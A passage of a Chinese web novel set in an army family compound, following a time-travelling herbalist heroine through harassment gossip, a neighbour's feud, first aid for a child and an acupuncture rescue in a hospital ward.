马明远终于反应过来，捂着鼻子怒视她："你是故意的？！" "这都被你发现了？"沈晚歪头一笑，眼神却冷得像冰。 马明远气得半死。 这时，门外突然闯进来一群人，最前面是黄莹莹和刘所长，身后是几名看热闹的家属和老师，此时她们看见面前的场景，忍不住惊呆了。 马明远捂着流血的鼻子瘫坐在地上，沈晚则气定神闲地站在一旁。 "这是怎么回事？"黄莹莹连忙冲上前扶起马明远，"马老师，你没事吧？" 刘所长原本听黄莹莹说沈晚勾引马明远就觉得匪夷所思，现在看到这场景更是一头雾水："沈同志，发生什么事了？" 沈晚抱胸淡淡道："你问问马老师，刚才发生什么了？" 靠在黄莹莹怀里的马明远支支吾吾，他总不能说自己猥亵未遂反被揍吧？ 最后只能硬着头皮编道："没、没事...我就是找小川妈妈来填学籍卡，刚才不小心摔倒了。" 刘所长半信半疑："真的？" 马明远闭上眼，一脸悲愤地点头。 黄莹莹却不依不饶："才不是呢！我亲眼看见沈晚勾引马老师！刘所长，你要相信我。" 刘所长恨不得拿鞋底塞住黄莹莹的嘴。 沈晚冷笑一声："哦？黄老师说亲眼看见我勾引马老师？那请问我是怎么个勾引法？" 黄莹莹支支吾吾道："就是，就是刚才我看见你坐在椅子上，马老师站在你身后，你们俩挨得特别近……" 沈晚点点头："原来是这样。所以全程我都坐在椅子上填表，照黄老师这说法，好像是马老师主动贴在我身后？和我有什么关系？" 门口看热闹的老师和家属们顿时议论纷纷： “哎哟，人家沈同志家里守着霍团长那样优秀的男人，哪用得着在外面勾引这种小老师呀？” “对呀，照黄老师的说法，霍小川妈妈全程都在填表啊，哪里勾引老师了？” “我看那个马老师勾引沈同志的概率比较大吧，长得一副小白脸的样子，我看他第一眼就不喜欢。” 马明远眼看着舆论风向完全倒向沈晚，再说下去自己猥亵学生家长的事就要败露，连忙从黄莹莹怀里跳起来吼道："你能不能别乱说话了！沈同志根本没有勾引我！" 黄莹莹被他突如其来的怒吼吓懵了，委屈地抿紧嘴唇，眼圈瞬间红了。 刘所长见状赶紧打圆场："马老师，你先去医务室清理一下吧，别让孩子们看见你这副模样。" 马明远阴沉着脸点点头，灰溜溜地挤出人群。 刘所长安抚着沈晚的情绪："沈同志，我看黄老师应该是误会了，她年纪小不懂事，您别和她一般见识。" 沈晚冷笑一声："她年纪小，就能随便污蔑我的名声？我今天来填个表，连门都没关，就被她传成勾引男人。这要是真关上门单独说话，还不得被她说成通奸了？" 刘所长额头渗出冷汗，连连赔笑："是是是，这事我们一定严肃处理。" 沈晚冷冷扫了眼缩在角落的黄莹莹："而且我要重申的是，我并没有勾引马明远。相反，他的很多行为都让我感到非常不适。" 此言一出，人群里顿时炸开了锅。 众人面面相觑，合着还真是这个道貌岸然的小白脸在骚扰学生家长？ 黄莹莹立刻尖声反驳："不可能！马老师不是那样的人！" 马明远在她心中就跟天上的月亮一样纯洁无瑕，怎么会干这种龌龊事？ 门口看热闹的家属： "我觉得霍小川妈妈没必要污蔑一个托儿所老师吧？肯定是马老师做了什么出格的事。" "我家闺女上次回家还说，马老师总爱摸她小手，把孩子都吓哭了。我当时还以为是孩子敏感。" 第八十一章 霍团长对女人动手了？ 很快，霍团长媳妇被托儿所老师骚扰的消息就传遍了整个军区。 霍沉舟还是从李丽嘴里听说这件事的。 他本来要去上厕所，家门口碰到了李丽，对方眼含讥笑地凑过来："霍团长，你家沈晚在托儿所可出名了~听说把人家年轻老师迷得神魂颠倒的，两个人单独在办公室待了好长时间呢。" 霍沉舟脚步一顿，眼神瞬间冷得像冰："你说什么？" 李丽被他森冷的语气吓得后退半步，但又不甘心地添油加醋："你还不知道呢？听说沈晚勾引了托儿所的一个男老师，两个人在办公室里关着门待了好久，被撞破后还倒打一耙说人家骚扰她。啧啧，霍团长，我早说过那个沈晚是个不安分的主。" 越说越起劲，仿佛只有沈晚身败名裂才能解她心头之恨。 话音未落，她突然被霍沉舟一把揪住领子，男人铁钳般的大手勒得她呼吸一滞：“李丽，你再敢造谣阿晚一句，我绝对不会放过你。” 李丽被男人骇人的气势吓得双腿发软，像只被掐住脖子的母鸡般扑腾着。 就在她快要窒息时，苏琴杉的惊呼声从远处传来："霍团长！你这是在干什么？快放开李丽嫂子！" 附近的邻居闻声赶来，王浩第一个冲过来，拼命掰霍沉舟的胳膊："你放开我妈！坏人！放开我妈！" 王强军也慌了神："霍团长，这、这是发生什么事了？" 霍沉舟缓缓松开手："你自己问她。" 李丽瘫坐在地上大口喘气，她刚缓过劲就开始哭嚎："大家评评理啊！霍沉舟要杀人啦！" 王强军脸色铁青，额头上的青筋直跳。霍团长是什么为人他再清楚不过，而自家媳妇是什么德行他更心知肚明。 他强压着火气又问了一遍："到底发生什么事了？" 李丽却只顾着撒泼打滚，扯着嗓子干嚎："大家快看啊！霍沉舟要杀人啦！当兵的打老百姓啦！" "啪！" 一记响亮的耳光突然打断她的哭嚎。 王强军颤抖着收回手，看着被扇懵的李丽厉声道："你再敢污蔑霍团长一句试试？" 围观的军属们倒吸一口凉气。 李丽捂着脸，不可置信地瞪大眼睛："你、你敢打我？" "打的就是你！"王强军气得浑身发抖，"霍团长是什么人？他会无缘无故对你动手？你把话说清楚。" 王浩挡在李丽面前，红着眼睛喊道："你不许打我妈妈！你们都是坏蛋！" 李丽捂着脸，看着周围人指指点点的目光，羞愤交加地梗着脖子："我什么都没做错！不就是说了句沈晚在托儿所跟那个男老师的事吗？这破事儿都在部队传遍了！她沈晚敢做，我还不能说了？" 王强军脸色灰白，明白了霍沉舟为什么会发那么大火，这已经不是在编排闲话，而是明目张胆地造谣军属作风问题！ 这时孙秀芝实在看不下去了，站出来指着李丽鼻子骂道："外头传的分明是那个马老师骚扰家长，你怎么能把脏水全泼小沈身上？黑的都能让你说成白的！" 李丽冷笑：“她要是不给机会，人家骚扰她干什么？” 王强军气坏了，扬手又要打："你这臭婆娘再敢乱说一句，信不信我打死你？" 李丽一把将王浩拽到身后护着，仰着脖子一副死猪不怕开水烫的架势："你打啊！我算是看清楚了，你心思早就不在我们娘俩身上了！" 王强军说："你要是不在外面瞎嚼舌根，我能跟你好好过一辈子！但是你看看现在你都成什么样子了？" "沉舟。" 人群外突然传来一道清亮的声音。 众人回头，只见这次传闻的主角沈晚正站在不远处。 霍沉舟冷峻的面容瞬间柔和："回来了。" 沈晚从容地穿过人群，自然地挽住丈夫的手臂，扫了眼地上的李丽："发生什么事了？" 李丽看见沈晚，立刻阴阳怪气地讥笑道："哟，这不是沈晚回来了吗？听说你在托儿所又勾搭了个小白脸老师？怎么，家里一个团长还不够你祸害的？" 听到李丽这张臭嘴胡咧咧，沈晚顿时明白刚才发生什么了，估计是这长舌妇又在造谣，被霍沉舟当场教训了。 沈晚不怒反笑，唇角勾起一抹危险的弧度："明明是那个马老师骚扰我，怎么传到你嘴里就变成我勾搭他了？" 李丽撇撇嘴："你平时打扮得花枝招展的，谁知道是不是你先撩骚人家？不然人家咋不骚扰别的家长？" 沈晚无语："那照你的意思，受害者有罪论？" 霍沉舟眉头紧锁："你被欺负了？" 沈晚递给他一个安心的眼神："放心吧，他连我一根手指头都没碰到。" 王强军羞愧地朝沈晚鞠了一躬："沈同志，对不住啊！我家这婆娘嘴贱，我一定好好管教她！" 说完就拽着还在骂骂咧咧的李丽往家拖。 看热闹的人群渐渐散去，苏琴杉故作关切地凑过来："霍团长，以后这种事还是注意点影响。李丽嫂子就是嘴上没把门，你直接动手传出去多影响你声誉啊。" 沈晚冷眼扫过去："那依苏同志的意思，被人造谣就该忍着？祝你以后被造谣时，顾营长也能这么明事理地在旁边看热闹。" "你！" 苏琴杉无话可说。 回到家后，刚关上房门，霍沉舟就把沈晚抵在门上："真被欺负了？告诉我，怎么回事。" 沈晚顺势环住他的脖子，红唇在他紧绷的下巴上轻啄一下："真没事~" 她带着几分小得意，"他想碰我，结果被我打了一顿，现在又被其他家长联名举报，估计会被开除教师编制。" 霍沉舟眯了眯眼，眸中闪过一丝危险的光芒。 沈晚又亲了亲他的唇角："你刚才对李丽动手了？" 霍沉舟眸色一沉，喉结滚动："嗯。" 沈晚指尖在他胸口画着圈："霍团长不是最讲究纪律吗？怎么动手打女人了？" “她造谣抹黑你，我忍不了。” 霍沉舟低头咬住沈晚的耳垂。 第八十二章 沈晚救王浩 马明远被开除已经是板上钉钉的事，但霍沉舟还是暗中使了点手段，他联系了教育局的朋友，将马明远的行为记入个人档案，这个污点会跟随他一辈子，找工作都不好找。 这事霍沉舟没告诉沈晚，直到一周后孙秀芝来串门时提起："你知道托儿所那个马明远后来咋样了吗？" 沈晚摇摇头：“不知道。” "听说被教育局记了大过，现在找啥正经工作都找不着，只能灰溜溜回老家了。" 沈晚：“那还挺解气的。” "还不是你家霍团长出的手？" 沈晚不解："霍沉舟出手？" "对呀！霍团长没和你说？他特意去找了教育局的局长，说这种师德败坏的老师必须严惩，那个马明远家还是有点背景，不然估计也不会罚这么重。" 沈晚心中蓦地一暖。 下午，顾战领着苏琴杉登门时，沈晚正在院子里晒药材。 "嫂子！"顾战笑得见牙不见眼，"我们俩的结婚报告批下来了！下周末请部队兄弟们吃个饭，您可一定要来啊！" 沈晚擦了擦手，并不是很真心实意地笑道："一定来，恭喜你们了。" 一旁的苏琴杉突然说："沈同志，我想去买些结婚用的东西，顺便给大伙儿准备喜糖。你结过婚，应该懂这些吧？能陪我一起去吗？" 沈晚婉拒道："不好意思啊，虽然我结过婚，但当时都是家里人操办的，我也不太懂这些。" 苏琴杉眼含祈求地看向顾战，顾战咽了口唾沫道："嫂子，要不你就陪琴杉去一趟服务社吧？" 沈晚神情有些为难，正想再次婉拒，对面的李丽突然插嘴："琴杉，你别找她！我陪你去！" 顾战如蒙大赦，连连点头："对对，让李丽嫂子陪你去吧！" 苏琴杉抿了抿唇："...好吧。" 路上，李丽提醒道："琴杉啊，结婚这种大事可千万别找沈晚帮忙。" 苏琴杉故作天真地眨眨眼："为什么呀嫂子？" "你不知道前几年霍团长和沈晚闹的家里鸡飞狗跳的，让她帮忙准备婚事，多不吉利啊！" 苏琴杉乖巧地点头："我知道了嫂子。" "结婚要买的东西可讲究了，"李丽扳着手指头数，"红绸被面要苏州的，喜糖要上海大白兔，还有……" 苏琴杉表示都记下来了。 等苏琴杉一走，沈晚熬了点陈皮生姜汤给赵晓燕送去。 赵晓燕现在孕吐越来越厉害，喝了两口温热的汤水，胃里翻腾的感觉果然缓解不少："谢谢你啊妹子。" "你现在是双身子的人，得多注意。"沈晚轻轻拍着她的背，"这汤要趁热喝，我加了点山楂，开胃的。" 赵晓燕点点头，擦了擦嘴，突然想起什么："对了，顾营长要结婚了，咱们也得送点贺礼。" 沈晚对这些礼节不太懂："应该送点什么呢？" "也不用太贵重，"赵晓燕想了想，"送对鸳鸯枕巾或者红双喜的搪瓷脸盆就行，实在不行包个红包也成。" 沈晚若有所思地点点头。 赵晓燕慢慢饮了一口陈皮生姜汤，突然促狭地笑了笑："妹子，上次给你的那个好东西，用上了没？" 沈晚先是一愣，随即反应过来她说的是那条红肚兜，小脸"腾"地烧了起来："没有……" "哎呀，多可惜！"赵晓燕咂咂嘴。 这时门外突然传来一阵撕心裂肺的嚎哭声。 沈晚和赵晓燕对视一眼，连忙从炕上下来，趿拉着棉鞋往院外走。 只见王浩捂着脑袋蹲在地上哭得撕心裂肺，鲜血顺着他的指缝往下淌。地上散落着几块锋利的冰溜子，看样子是被屋檐上掉下来的冰棱砸中了。 这个时间，李丽和王强军都不在。 沈晚走过去："让我看看。" 她轻轻掰开王浩的手，只见孩子额头上豁开一道两公分长的口子，皮肉外翻，鲜血汩汩往外冒。 赵晓燕倒吸一口凉气："这伤口得缝针了！" 沈晚迅速解下围巾叠成方块，压在王浩伤口上止血：“赵姐，你去我家柜子第三层拿药粉和纱布。” 等赵晓燕拿着药粉回来，沈晚用这个自制的三七止血粉撒在伤口上，又用干净纱布绑上。 正好王强军回来，看见儿子满脸是血，吓得一个箭步冲过来："哎哟，浩子！你咋整的？" 赵晓燕解释："应该是被房檐掉下来的冰溜子砸着了，小晚妹子已经给简单处理过了，你赶紧带去医院缝针吧！" 王强军看着儿子头上包扎整齐的纱布，对沈晚连连鞠躬："太谢谢你了沈同志！这大恩大德我记心里了！" 他一把抱起王浩就往医院跑。 沈晚看着那条沾满血的围巾，估计是洗不干净了，便随手放在院角的簸箕里。 李丽从供销社回来，发现院子里有血迹，顿时慌了神："浩子？浩子！你们谁见我家浩子了？" 赵晓燕闻声走出来："李丽，你快去医院吧。你家浩子今儿被房檐冰溜子砸了脑袋，好大个口子，多亏小晚妹子及时给包扎止血。" 李丽一脸不信："她能有那么好心？" 赵晓燕无语地翻了个白眼："我今儿下午亲眼看见小晚给你家浩子包扎的，你回头可得好好谢谢人家。" 李丽将信将疑，急匆匆往医院跑去。等她气喘吁吁赶到医院时，王浩已经缝完针了，小脸煞白地窝在王强军怀里。 王强军看见李丽进来，没有什么反应，反倒是王浩一见到妈妈，立刻委屈地扑过去："妈，我头好疼。" 李丽看着儿子头上缠着的纱布，心疼得直掉眼泪，一边轻拍儿子的背一边问："医生怎么说？" "缝了五针。"王强军冷声道，"要不是沈同志处理及时，失血更多，你之前怎么编排沈同志都过去了，但今天这事，你必须登门道谢。" 李丽：“我才不去！” 王强军气愤："人家可是救了你儿子的命！你怎么能这么没良心？要不是沈同志止血及时，浩子都不知道还能不能好好躺在这儿。" 李丽梗着脖子：“谁知道她是不是故意装好人？要去你去。” 第八十三章 沈晚那种心眼多的 路过的林怡宁听见沈晚的名字，脚步一顿，她转身折回来，脸上带着刻意的关切："同志，你们刚才说的是沈晚吗？" 李丽警惕地打量她："对啊，怎么了？" 林怡宁冷笑一声："那个沈晚啊，最会装模作样了。表面上装得像个活菩萨，背地里不知道使什么坏呢！你们不知道吧？前段时间她做了一款药膏，结果战士们用了后伤口溃烂发痒，要不是霍团长帮她压下来，她早被举报了！" 李丽听得两眼放光，立刻附和："就是就是！我看她今天救我儿子也没安好心！" 王强军一脸狐疑："这位同志，你是谁啊？这件事我们都没听人提起过啊？反倒是听说连你们医院的董院长都对沈同志的医术赞不绝口，你是不是搞错了？" 林怡宁抬起下巴：“我就是医院的医生，怎么会搞错！董院长也是看在霍团长的面子上才夸了几句沈晚，她的那些医术简直就是上不了台面。” 王强军对林怡宁这番话将信将疑，眉头紧锁着没接话。 可李丽却像找到了知音，附和道："对呀！那个狐狸精就仗着有张好看的脸蛋，对男人抛媚眼使手段的。也不知道她给霍团长灌了什么迷魂汤，之前闹离婚都没离成，现在反倒把霍团长哄得团团转！" 林怡宁亲热地说："嫂子，我看你是个实在人。沈晚那种心眼多的，专会装模作样骗人。你可要当心她借着救你儿子的机会，在你们家挑拨离间呢。" 李丽感激地点头："谢谢你啊妹子，还是你明白人！" "我还有事，先走了。"林怡宁温柔地笑了笑。 等林怡宁一走，李丽立刻戳了戳王强军："我就说那个狐狸精不是好人，你非不信！" "闭嘴吧你！"王强军低斥一声，"人家刚救了你儿子，你就这么编排人？良心被狗吃了？" 李丽撇撇嘴。 回到家属院，李丽抱着王浩看见沈晚和赵晓燕，从鼻孔里哼了一声，翻了个白眼就进屋了。 赵晓燕在后面啐了一口："嘿！她跟谁甩脸色呢？你下午可是救了她儿子，她不心存感谢就算了，还这副德行！真是好心当成驴肝肺！" 沈晚拉住义愤填膺的赵晓燕："算了赵姐，我本来也没指望她领情。" 赵晓燕摸了摸自己的肚子："浩子今天遭这罪，我看就是她这个当娘的不积德！整天东家长西家短地搬弄是非，报应到孩子身上了吧！" 晚上，霍沉舟进家门时，一眼就注意到晾在院子里的围巾上沾着血迹。 他心头猛地一紧，大步进屋拉住沈晚的手："你受伤了？" 沈晚摇摇头："没有。" "那围巾上的血是怎么回事？"霍沉舟眉头紧锁。 "今天下午王浩被冰溜子砸伤头，我拿围巾给他止血来着。"沈晚轻描淡写地说着，顺手把做好的饭菜端上桌。 霍沉舟紧绷的肩膀这才放松下来，他接过沈晚手里的碗筷：“你下次救人的时候，也要记得保护好自身的安全，我真怕你出了什么意外。” 沈晚捏了捏他的脸：“我知道啦霍团长~啰嗦，放心吧，我心里都有数。” 吃饭时，王强军上门了。 他手里提着一筐冻梨和一条腊肉，身后跟着一脸不情愿的李丽。 沈晚迎上去："王大哥，你怎么来了？" 王强军把东西往地上一放，深深鞠了一躬："沈同志，今天多亏你救了我儿子！之前让你受了那么多委屈，你这次还能不计前嫌救浩子，这些东西你一定要收下！算是我的一片心意。" 经过上次霍沉舟的开导，沈晚并没有假客气，她微微一笑："那谢谢王大哥了，这些东西我就收下了。" 王强军脸上的笑容刚扬起，他身后的李丽就阴阳怪气地嘟囔道："给你你还真要啊？脸皮可真够厚的……" 沈晚眸色顿时冷了几分。 王强军呵斥："你闭嘴！我让你来是干嘛的？赶紧给沈同志道歉！" "东西她都收了，我还道歉干嘛？要是她真那么好心，还收东西干嘛？我看她就是装模作样！" 霍沉舟冷冷出声："我爱人可以救人，但这并不是她的义务，她救人是她善良，但这并不是让你蹬鼻子上脸的理由，这些东西你们拿回去吧，我们家不缺这点吃食。" 王强军臊得满脸通红，恨不得找个地缝钻进去："霍团长，这...这..." 李丽被这番话噎得脸色铁青，却又不敢在霍沉舟面前放肆。 最后，王强军坚持不肯把东西拿回去，还从兜里掏出五块钱硬要塞给沈晚："沈同志，这点钱就当是感谢费！" 李丽见状扑上来就要抢钱："王强军！你疯啦？五块钱都够买半扇猪肉了！" 两人在院门口拉扯起来，王强军情急之下吼道："你再闹咱就离婚！" 这句话像一盆冷水，瞬间把李丽浇醒了。 她要是真和王强军离了婚，她一个二婚女人就成了破鞋，上哪儿再找个这么体面的军人丈夫？回老家还怎么炫耀自己是军官太太？ 李丽终于蔫了，缩着脖子退到一旁，再不敢多说半个字。 王强军这才把钱塞进沈晚手里，又深深鞠了一躬："沈同志，对不住了。" 关上门，沈晚叹了口气："王大哥那么老实一个人，怎么摊上李丽那个泼妇？真是委屈他了。" 霍沉舟无奈地摇摇头："现在很多随军家属都是从老家来的，性格脾气一时半会儿改不了。" 沈晚突然眯起眼睛看他，这话怎么听着像是在内涵自己？虽然原主确实也是那个臭脾气…… 霍沉舟敏锐地察觉到她的眼神，连忙解释："我不是那个意思。" 沈晚勾了勾唇："我知道呀~你紧张什么？" 霍沉舟一把抓住她作乱的手："怕你误会，你现在很好。" 沈晚眼中闪过狡黠的光，故意追问："哪里好？" "哪里都好。"霍沉舟将她往怀里带了带。 第八十四章 活菩萨 之前托董建林帮忙定制的银针已经做好了，沈晚来到医院取针。 她轻轻敲了敲院长办公室的门，发现没人应答。 "沈同志！"值班的小护士热情地迎上来，"董院长这个点应该去查房了，您要是很急的话，我可以帮您去找他。" "不用了，"沈晚温和地笑笑，指了指走廊的长椅，"我在这等他就行。" 小护士连忙把自己暖手的热水袋塞给她："沈同志，您用这个暖暖手，这天儿太冷了。" 见沈晚似乎有点疑惑，她红着脸补充道，"我娘用了您的冻疮膏，手上的裂口都好多了，现在也不疼不痒了。" 沈晚有些惊讶地点点头："那就好。没想到我的冻疮膏都传到部队外了？" 小护士眼睛亮晶晶的："现在几乎整个军区和附近村子的乡亲们都在用呢！你简直是造福大家的神医。" 沈晚被夸得有些不好意思。 在现代沈家，她不过是个小辈而已，连爷爷的《金匮要略》都还没学透，没想到穿越到这里，倒被大家捧成了活菩萨。 小护士突然伸出细胳膊，满眼期待："沈同志，你能帮我也把把脉吗？听说中医特别神奇，把一下脉就知道得什么病了。" 沈晚莞尔一笑，没有半点架子："好啊。" 她三指轻轻搭在小护士腕间，凝神感受了片刻脉象，"你最近是不是总熬夜？" 小护士惊讶地瞪大眼睛："你怎么知道？我们护士站最近值夜班的排班特别密。" "脉象细数，舌苔薄黄。"沈晚收回手，"没什么大毛病，就是肝火有点旺。平时多喝点菊花枸杞茶，晚上睡前泡泡脚。" 小护士看向沈晚的眼神更加崇拜了。 两人正聊着，董建林回来了，身后跟着张思德。 张思德一看见沈晚，顿时面露惊喜，但随即又警惕地环顾四周，确认那个冷面罗刹霍团长不在场后，才松了口气，热情地打招呼："沈同志！" "张医生好呀。"沈晚笑着回应。 "沈同志，正好我有几个中医方面的问题想请教你，"张思德搓着手，语气诚恳，"可以吗？" 沈晚看了眼董建林："可以是可以，但我得先和董院长说一些事情。" "没问题！"张思德连连点头，"我在门口等你。" 沈晚跟着董建林进了办公室，董建林从抽屉里取出一个靛蓝色锦缎包裹的长条盒子，推到沈晚面前："你看看吧。" 沈晚解开丝带，掀开盒盖——里面整齐排列着一套银针，针柄上精细地雕刻着缠枝纹，针尖在灯光下泛着寒光。 完全按照她上次提的要求打造，甚至比她想象的还要精致。 "我那位老朋友早就不接定制了，但我特地带着你上次开的药茶方子去找他，那老家伙喝了三天就不咳嗽了，这才勉强答应出山。" 沈晚爱不释手地抚过银针，面露感激："董院长，真是太感谢您了。这套针具多少钱？我……" "不值钱！"董建林摆摆手，眼中闪过狡黠的光，"只要下次我再找你收购药方时，你给我算便宜点就行。" 沈晚噗嗤笑出声："没问题，给你打七折。" 董建林眼里闪过一丝迷茫："七折？" 沈晚简单解释："就是按原价的七成算。" "那敢情好！"董建林乐呵呵的。 沈晚收好银针走出办公室，见张思德正倚在走廊窗边翻阅病历本，见她出来，他连忙合上本子迎上前。 "你会成为一个很优秀的正式医生的。"沈晚真诚地说。 张思德不好意思地推了推眼镜："我需要学习的还有很多。" 他翻开笔记本，指着上面密密麻麻的穴位图，"沈同志，我想请教您关于''烧山火''针法的要领。我在《针灸大成》上看到，这种手法能让患者感到温热，但实操时总达不到效果……" 沈晚听完张思德的问题，拿起钢笔在纸上画了几处关键点："''烧山火''讲究的是三进一退，提插捻转要配合呼吸节奏。" 她手腕灵巧地做了个示范动作，"进针时意念要沉，就像这样——" 张思德目不转睛地盯着她的手法，恍然大悟："原来如此！我之前一直忽略了患者呼吸配合的时机！沈同志，您这一句话真是醍醐灌顶啊！" 这时，一个护士跑来："张医生！3床刘老太太突然心绞痛发作，血压都到180了！" 张思德闻言，犹豫地看向沈晚："沈同志，您能和我一起去看看吗？这个老太太的病症我也很头疼" 沈晚略一沉吟便点头同意。 两人快步来到病房，只见一位白发老太太正捂着胸口痛苦呻吟，脸色煞白。 沈晚一眼就认出，这不正是上次赶集时救过的那位老太太吗？ 当时就提醒过她心脏有问题，没想到竟在军区医院又遇见了。不过想想也不奇怪，军区医院是东北地区最好的三甲医院，很多患者都会慕名而来。 老太太身边站着个衣着体面的中年妇女，手腕上戴着金镯子，一看就是家境殷实的。 那妇女正急得团团转："大夫！快看看我妈！她突然就说心口疼。" 张思德上前安抚："家属别急，我先帮老人家检查。" 他戴上听诊器，俯身检查老太太的心音，眉头越皱越紧，又翻开老太太的眼睑看了看。 沈晚站在一旁静静观察，注意到老太太的唇色发绀，指甲也呈现淡淡的青紫色。 等张思德检查完，沈晚刚想上前把脉，病床旁的妇女突然拦住她："你是谁啊？怎么随便碰我妈？" 张思德连忙解释："家属，这位沈同志的医术连我们董院长都赞不绝口，我特地请她来会诊的。" 那妇女上下打量着沈晚，满脸怀疑："真的假的？就一个小丫头片子，能有那么大本事？" 此时床上的老太太突然又痛苦地呻吟一声，妇女连忙扶住她肩膀："妈！您怎么样？" 沈晚淡淡出声："老人家，您现在是不是左胸像压了块大石头，连着左胳膊都发麻？喉咙发紧像被人掐着？” 第八十五章 冒充医生还有理了？ 老人家听着有人能准确描述她的感受，虚弱地点了点头："对..." 她缓缓睁开眼睛，看清床前站着的沈晚时，浑浊的眼中闪过一丝惊讶，"你……是你？" 妇女连忙问："妈，你认识她？" 老太太激动地点点头："红秀，就是这个小姑娘...上次赶集救了我。" 孙红秀脸上闪过一抹震惊："你说的救命恩人就是她？" 张思德也有些惊讶："沈同志，你竟然和老人家认识？" 沈晚也觉得这世界真小："上次在街上遇到过她，那时候我就发现她心脏不太好，劝她赶紧去医院看看。如果当时及时检查治疗，本来不该发展成现在这样的，除非老人家根本没好好去医院检查？" 孙红秀眼底闪过一丝心虚，语气顿时弱了几分："行了，你不是会医吗？赶紧给我妈看看。" 沈晚看见孙红秀的反应就知道自己猜对了，老太太这病分明是被耽误的。 她上前三指搭脉，眉头越皱越紧："脉象沉涩，舌下络脉青紫怒张，这是典型的久瘀成痹。" 张思德连忙道："需要强刺激吗？" "嗯。先取内关、郄门开胸散结，再刺膻中振奋心阳。" 她看向孙红秀，"老人家现在随时可能发生心梗，必须住院系统治疗。你们之前耽误得太久了。" 孙红秀被说得面红耳赤，忍不住反驳道："谁耽搁了？我们平时那么忙，这不是她一犯病我们就送医院了吗？谁知道会这么严重！" 沈晚懒得再与她争辩，正好她今天刚取到银针，此时也有点手痒，想试试这针如何。 “张医生，我来吧。” 张思德求之不得：“你来你来。” 只见沈晚手腕一翻，三寸银针精准刺入老人内关穴。 她指尖轻捻，针尾微微颤动，竟隐隐发出嗡鸣，紧接着第二针直入郄门穴，进针时采用"苍龟探穴"手法，针感直达心区。 老人青紫的唇色以肉眼可见的速度转为红润，紧皱的眉头也舒展开来。 孙红秀瞪大眼睛，她虽然不懂医术，但母亲明显好转的脸色做不得假。 等沈晚针灸完，老太太的呼吸已经平稳顺畅。 她感激地握住沈晚的手："小姑娘，我现在心脏舒服多了，你可真厉害。" 沈晚微微颔首，转头对张思德嘱咐："接下来三天继续用丹参注射液。" 她正想再跟孙红秀交代注意事项，却发现病房里早已不见对方踪影。 沈晚皱了皱眉，老太太解围道："没事，小姑娘，你告诉我就行，我记性好着呢。" 沈晚耐心地重复道："要按时服药，保持情绪平稳，饮食清淡些。速效救心丸随身带着，感觉不舒服就舌下含服两粒。" 话音未落，病房门突然被推开。 孙红秀上前一把推开沈晚："离我妈远点！" 沈晚猝不及防一个踉跄，张思德连忙扶住她，抬头怒视孙红秀："你干什么？" "我刚才问过护士站了，"孙红秀叉着腰，气势汹汹，"医院里根本没有姓沈的医生！你到底是谁啊？万一把我妈治出个好歹来怎么办？" 老太太在病床上急得想拉住她："红秀！不许对我的救命恩人这么没礼貌！人家可是救了我两次。" "妈！我这是为你好！"孙红秀回头瞪眼，"现在骗子可多了，装成医生骗钱的！你看她连白大褂都不穿，谁知道是不是出来骗人的？" 张思德太阳穴突突直跳："我都说了沈同志是我特地请来会诊的！她虽然不是我们医院的医生，但是……" "妈！你听见了吧！"孙红秀立刻抓住话柄，"他自己都承认这丫头片子不是医院的医生！那谁知道她到底会不会治病呀？万一把你给治坏了怎么办？" 老太太拍了拍床板："红秀！你胡咧咧啥呢！人家小姑娘刚才几针下去，我心口立马就不疼了！" 孙红秀的大嗓门引来了走廊上医生病患的注意，众人纷纷围在病房门口张望。 "那不是沈同志吗？" "沈同志应该是好心来帮忙的吧？结果还被这个大姐指着鼻子骂。" "就是就是，咱们要不要过去帮沈同志说两句？不能让她白受冤枉啊！" 几个年轻护士正蠢蠢欲动，身后突然传来林怡宁尖锐的声音："你们不干活都聚在这干嘛呢？" 众人回头，看向林怡宁。 "林医生……"一个小护士怯生生地解释，"是有家属在闹事。" 林怡宁拧眉："闹事？"她推开人群，却在看清沈晚的瞬间表情一僵。 紧接着听到孙红秀尖利的骂声，她眼底闪过一丝幸灾乐祸。 "家属，我是医院的林医生。"她迅速整理好表情走上前，"有什么问题可以和我说。" 沈晚看见林怡宁，眸色顿时沉了下去。 以她对林怡宁的了解，林怡宁肯定不会那么好心地来调节矛盾，指不定还会煽风点火。 孙红秀扫了一眼穿着白大褂的林怡宁，抱胸道："医生！刚才这个丫头片子突然闯进来给我妈扎针，说什么心脉瘀阻还是啥，反正我听不懂，但我问了护士站，你们医院根本没有这个医生，她要是把我妈扎坏了怎么办？！" 林怡宁露出为难的表情，语气诚恳地解释："沈晚确实不是我们医院的医生，所以她在这里行医，不太符合规定呢。" 张思德急切道："董院长都夸沈同志医术好，她为什么不能给病人看病？今天也是我请她来会诊的！要是你们觉得不合规矩，我们现在就去找董院长来评评理。" 林怡宁冷睨了他一眼，转头对沈晚露出假惺惺的微笑："这样吧沈晚，你给病人和家属鞠躬道歉，这事就算过去了。" 沈晚：“我凭什么道歉？” 孙红秀被这态度气得跳脚："你看看！这什么态度？冒充医生还有理了？" 林怡宁冷下脸来："沈晚，你这是什么意思？你本来就不具备行医资格证，之前让你治病都是董院长惜才。但现在你擅自给重症患者施针，已经严重违反医院规定。如果出了医疗事故，我们医院可是要负责任的！现在，立刻给家属和患者道歉！" 第八十六章 成为特聘中医顾问 沈晚还没说话，床上的胡秋菊看着儿媳咄咄逼人的模样，终于忍不住了。 她猛地一拍床板："孙红秀，你给我闭嘴！" 孙红秀被婆婆突如其来的怒火吓得一哆嗦："妈，您心脏不好，别生这么大气。" 胡秋菊喘着粗气：“我不管沈同志是不是医院的医生，但是她救了我，就是我的救命恩人。沈同志是个好姑娘，我不允许你这样伤了她的心！人家好心来救我，你倒好，恩将仇报！” 见婆婆动了真格，孙红秀哪敢再顶嘴，连忙赔笑："是是是，都听您的，您别生气。" 胡秋菊又看向林怡宁："这位医生，沈同志是在给你们医院积福报，人家好心救人，你倒在这儿摆起官架子了？" 沈晚没想到老太太会这样维护自己，心头涌起一股暖意。 林怡宁被说得脸色难看得像死了三天的带鱼，此时门外突然传来董建林洪亮的声音："老人家说得没错！" 董建林快步走进病房，先扶着情绪激动的胡秋菊重新躺好："老人家，您身体要紧，先躺下休息。" 他看向孙红秀："这位家属，我是本院院长，沈晚同志虽然不是我院在职医生，但她的中医造诣连我都自愧不如。所以您不用担心她的医术。" 孙红秀此刻肠子都悔青了，硬着头皮对沈晚道歉："对不起啊，我刚才不该那么说你，谢谢你救了我婆婆。" 林怡宁听着董建林对沈晚的高度评价，不屑地撇了撇嘴。 这时董建林突然点名："林医生。" 林怡宁下意识"啊？"了一声。 